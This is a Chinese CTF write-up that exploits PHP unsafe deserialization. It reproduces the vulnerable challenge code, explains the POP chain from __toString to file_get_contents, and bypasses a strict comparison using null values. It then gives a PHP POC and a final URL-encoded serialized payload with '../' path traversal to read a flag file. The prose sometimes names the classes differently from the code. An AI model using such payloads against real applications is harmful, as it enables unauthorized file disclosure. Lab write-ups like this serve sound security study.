<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
很长的php代码,先进行分析
首先看到包含了flag.php,说明flag可能在这个文件下,接下来观察是否有能读取flag.php文件的函数
可以看到有一个file_gett_contents()
file_get_contents()
是一个PHP函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。
而要利用到该函数就要大体上看如何构造pop链,可以看到是在rce类中的echo_name方法中,而唯一能调用这个方法的只有rcp类中的Tostring方法中,该方法只要所在类被当成字符串处理就会触发
观察能处理字符串的只有echo
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
所以只要pks是实例化后的rcp类就可以触发_tostring,但是在此之前也就是tostring之上有一个__construct方法,该方法只要进行了反序列化就会触发,且这个触发要先于tostring
在这个方法内部是对cinder属性的实例化赋值,恰恰这个属性又刚好是tostring方法内要调用echo_name的判断条件,此外pkshow类中也有一个echo_name这个不是我们想要调用的
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
而且可以看到cinder属性是受保护属性,只能靠赋值修改,所以这里我们将pkshow改成我们要的rce
这样就可以满足调用又可以触发tostring了
protected
:受保护的属性只能在类的内部和继承类中访问。
再看到rce中利用函数的前提条件
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if($this->openstack->neutron === $this->openstack->nova)
同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null
这样我们就成功的绕过的比较利用到了file_get_contents()函数
POC:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>
上传后可以看到
flag在/nssctfasdasdflag下
修改读取再传
发现又不在这个目录下,于是尝试着回到上一个目录../nssctfasdasdflag
最终payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
总结
1.利用null,无论如何赋值都是null从而绕过强比较
2.遇到受保护属性可以通过修改方法中的赋值来修改私有属性(很疑惑序列化后方法不是没了吗)
参考学习:
文章列表 | NSSCTF